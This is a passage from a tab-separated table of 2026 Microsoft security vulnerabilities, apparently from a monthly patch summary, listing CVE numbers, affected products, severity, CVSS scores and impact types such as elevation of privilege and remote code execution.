CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
